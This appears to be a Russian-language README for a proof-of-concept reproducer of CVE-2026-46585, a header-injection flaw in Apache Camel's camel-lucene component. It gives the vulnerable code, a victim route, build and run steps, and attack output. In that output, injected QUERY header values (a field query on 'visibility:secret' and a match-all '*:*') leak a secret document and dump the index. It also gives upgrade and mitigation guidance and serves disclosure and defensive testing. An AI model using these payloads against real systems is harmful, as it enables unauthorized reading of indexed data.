
Воспроизведение уязвимости CVE-2026-46585: Apache Camel camel-lucene, инъекция в заголовок QUERY, позволяющая обход авторизации / экфильтрацию данных индекса (исправлено в 4.14.8/4.18.3/4.21.0)
QUERY Воспроизведение инъекции в заголовок (CVE-2026-46585)Этот проект демонстрирует инъекцию в заголовок сообщения / обход авторизации в компоненте camel-lucene Apache Camel, отслеживаемую как CVE-2026-46585. Производитель Lucene-запросов читает фразу полнотекстового поиска из заголовка Exchange, но имя заголовка было обычной строкой QUERY (и RETURN_LUCENE_DOCS для флага docs). Поскольку эти имена не начинаются с префикса Camel / camel, HttpHeaderFilterStrategy — который блокирует только пространство имён заголовков Camel на HTTP-границе — пропускал их из входящего HTTP-запроса прямо в Exchange. Любой HTTP-клиент, обращающийся к маршруту, который открывает Lucene-запрос за HTTP-потребителем, может установить заголовок QUERY, и его значение будет выполнено против индекса, .
Этот PoC демонстрирует воздействие как обход авторизации / эксфильтрацию данных: неаутентифицированный клиент внедряет синтаксис сырого Lucene-запроса, чтобы прочитать документ, который публичная поисковая конечная точка не должна была возвращать (а запрос match-all выгружает весь индекс).
| Свойство | Значение |
|---|---|
| Компонент | camel-lucene |
| Затронутый класс | org.apache.camel.component.lucene.LuceneQueryProducer, читающий LuceneConstants.HEADER_QUERY (значение "QUERY") |
| CWE | CWE-20 (Некорректная проверка входных данных) / CWE-639 (Обход авторизации через управляемый пользователем ключ) |
| Воздействие | HTTP-клиент устанавливает заголовок QUERY → выполняется произвольный Lucene-запрос → чтение документов вне предназначенной области или ресурсоёмкие запросы с регулярными выражениями |
| Предусловия | Маршрут открывает доступ к производителю lucene:...:query через HTTP-потребителя (например, platform-http); неаутентифицирован, когда потребитель — |
| Затронутые версии | С 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23509 |
| Авторы | Andrea Cosentino (Apache Software Foundation) и Yu Bao (PayPal) |
Относится к тому же семейству инъекций в заголовок, что и CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 и CVE-2026-46457, и имеет ту же корневую причину — константу заголовка без префикса
Camel— что и родственный компонент camel-elasticsearchSEARCH_QUERY.
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled
}
LuceneSearcher разбирает фразу с помощью классического QueryParser("contents", analyzer), поэтому атакующий получает полный синтаксис Lucene-запросов: термины с указанием поля (visibility:secret), match-all (*:*), подстановочные знаки и дорогостоящие регулярные выражения.
Исправление (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) переименовывает значения констант заголовков в соответствии с соглашением Camel — HEADER_QUERY меняется с QUERY на CamelLuceneQuery, а HEADER_RETURN_LUCENE_DOCS на CamelLuceneReturnLuceneDocs — поэтому они отфильтровываются на HTTP-границе, как и любой другой управляющий заголовок Camel. Имена констант не изменились (маршруты, ссылающиеся на LuceneConstants.HEADER_QUERY, продолжают работать); это критическое изменение только для маршрутов, которые устанавливают/читают эти заголовки по их строковому значению.
from("platform-http:/search")
.removeHeaders("Camel*") // documented hardening — see below
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
Модель безопасности автора маршрута: «эта конечная точка обслуживает только публичный поиск». В качестве документированного усиления маршрут даже удаляет пространство имён управляющих заголовков Camel на границе с помощью removeHeaders("Camel*"). Это не помогает: управляющий заголовок называется QUERY, а не CamelLuceneQuery, поэтому он не удаляется ни этим вызовом, ни встроенным фильтром HTTP-заголовков — в этом и заключается суть CVE (и именно это решает переименование в исправлении).
Индекс содержит три публичных документа и один секретный документ с тегом visibility:secret, чьё тело содержит безобидный флаг-маркер. Обычный публичный поиск (QUERY=onboarding, обычный термин по полю contents по умолчанию) никогда не возвращает его, а инъекционный запрос с указанием поля — возвращает.
Жертва — это маршрут поиска Camel и его индекс; атакующий — неаутентифицированный HTTP-клиент, который только устанавливает заголовок запроса. Всё работает в одном автономном приложении.
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # registers the index directory as a Camel bean (#kbIndexDir)
│ ├── IndexBootstrap.java # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # attacker: GET /search with an injected QUERY header
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
Легитимный поиск по термину возвращает только публичные документы. Атакующий запрос — отличающийся только значением одного-единственного заголовка, который фреймворк должен был отфильтровать, — читает секретный документ, а запрос match-all возвращает весь индекс.
Любой маршрут с производителем lucene:...:query, доступным через HTTP-потребителя. Помимо чтения не предназначенных для этого документов, атакующий может:
*:* или другой предикат по полям (обход авторизации).Обновитесь до версии 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). После обновления маршруты, которые задают запрос через исходное имя заголовка, должны использовать CamelLuceneQuery (и CamelLuceneReturnLuceneDocs) вместо QUERY / RETURN_LUCENE_DOCS; эти имена в пространстве имён Camel отфильтровываются на HTTP-границе, как и любой другой управляющий заголовок.
До обновления:
.removeHeader("QUERY") и .removeHeader("RETURN_LUCENE_DOCS"), затем .setHeader("QUERY", constant(...))
(или формируйте его из проверенных входных данных) в начале маршрута.Данный репродуктор предоставлен только для исследований в области безопасности и санкционированного тестирования и предназначен для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.